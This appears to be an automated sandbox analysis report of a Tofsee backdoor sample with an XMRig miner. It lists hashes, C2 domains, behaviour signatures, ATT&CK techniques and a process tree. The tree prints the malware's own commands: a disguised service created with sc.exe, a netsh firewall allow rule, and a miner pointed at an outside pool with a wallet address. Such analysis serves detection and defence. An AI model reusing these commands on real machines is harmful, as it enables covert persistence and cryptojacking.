Analysis

  • max time kernel
    151s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 02:37

General

  • Target

    be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe

  • Size

    185KB

  • MD5

    75c87170e12fc96072edcff9d79c2195

  • SHA1

    f840dd1d16e1b5929762126cc6e94eae3de48700

  • SHA256

    be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26

  • SHA512

    b964951a6a5b9e495f64e8855078cb763f19a7b733861bf32754efd20298ab4daeb6bcd6b0a3cffe0a68681b68912cf2e197a7e24741dbe4f957fd8ef3173177

  • SSDEEP

    3072:iIMtwRH0XXHQ8RjuuuMn5m0ibhaUhzyy0xUif4K2lFKRw+6ghuvmF:vMS8RjuuiJyyaUn+MB

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe
    "C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jkwkfqfe\
      2⤵
        PID:2064
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwpnktaz.exe" C:\Windows\SysWOW64\jkwkfqfe\
        2⤵
          PID:3388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jkwkfqfe binPath= "C:\Windows\SysWOW64\jkwkfqfe\gwpnktaz.exe /d\"C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jkwkfqfe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jkwkfqfe
          2⤵
          • Launches sc.exe
          PID:240
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4144
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 1268
          2⤵
          • Program crash
          PID:4436
      • C:\Windows\SysWOW64\jkwkfqfe\gwpnktaz.exe
        C:\Windows\SysWOW64\jkwkfqfe\gwpnktaz.exe /d"C:\Users\Admin\AppData\Local\Temp\be9ef8bbf759fa8d9ddb5cbf60890e5277b606c703db8fe2f6633152b67fcd26.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1996
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 440
          2⤵
          • Program crash
          PID:3888
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4864 -ip 4864
        1⤵
          PID:4520
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2292 -ip 2292
          1⤵
            PID:4480

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\gwpnktaz.exe
            Filesize

            11.2MB

            MD5

            27f1f0963bd8fda4910d4705ebf22408

            SHA1

            82ace7f94671d2d25f1af66d1f8093eebfdeed7f

            SHA256

            55a6cd6d9595579024d18d3e98b34b066eac2af22ec5bd6ca889b30a7df144d3

            SHA512

            f73145359655e6fa08e0a7b52cec7be377a85c8767eb7c6ddbb5253529457d5909ffce8023200e367a7bd9b1adcfd8e665d9ff029f3b590ce9f92b26eae61092

          • C:\Windows\SysWOW64\jkwkfqfe\gwpnktaz.exe
            Filesize

            11.2MB

            MD5

            27f1f0963bd8fda4910d4705ebf22408

            SHA1

            82ace7f94671d2d25f1af66d1f8093eebfdeed7f

            SHA256

            55a6cd6d9595579024d18d3e98b34b066eac2af22ec5bd6ca889b30a7df144d3

            SHA512

            f73145359655e6fa08e0a7b52cec7be377a85c8767eb7c6ddbb5253529457d5909ffce8023200e367a7bd9b1adcfd8e665d9ff029f3b590ce9f92b26eae61092

          • memory/240-140-0x0000000000000000-mapping.dmp
          • memory/1996-176-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1996-171-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1996-170-0x0000000000000000-mapping.dmp
          • memory/2064-135-0x0000000000000000-mapping.dmp
          • memory/2292-147-0x00000000004D9000-0x00000000004E9000-memory.dmp
            Filesize

            64KB

          • memory/2292-149-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/3388-136-0x0000000000000000-mapping.dmp
          • memory/3480-152-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/3480-167-0x0000000002BD0000-0x0000000002BD7000-memory.dmp
            Filesize

            28KB

          • memory/3480-144-0x0000000000000000-mapping.dmp
          • memory/3480-145-0x0000000000A10000-0x0000000000A25000-memory.dmp
            Filesize

            84KB

          • memory/3480-164-0x0000000007600000-0x0000000007A0B000-memory.dmp
            Filesize

            4.0MB

          • memory/3480-161-0x0000000001DF0000-0x0000000001DF5000-memory.dmp
            Filesize

            20KB

          • memory/3480-150-0x0000000000A10000-0x0000000000A25000-memory.dmp
            Filesize

            84KB

          • memory/3480-151-0x0000000000A10000-0x0000000000A25000-memory.dmp
            Filesize

            84KB

          • memory/3480-158-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/3480-155-0x0000000000BF0000-0x0000000000BF6000-memory.dmp
            Filesize

            24KB

          • memory/4144-142-0x0000000000000000-mapping.dmp
          • memory/4172-138-0x0000000000000000-mapping.dmp
          • memory/4288-139-0x0000000000000000-mapping.dmp
          • memory/4864-133-0x00000000021A0000-0x00000000021B3000-memory.dmp
            Filesize

            76KB

          • memory/4864-143-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/4864-134-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/4864-132-0x00000000004DD000-0x00000000004ED000-memory.dmp
            Filesize

            64KB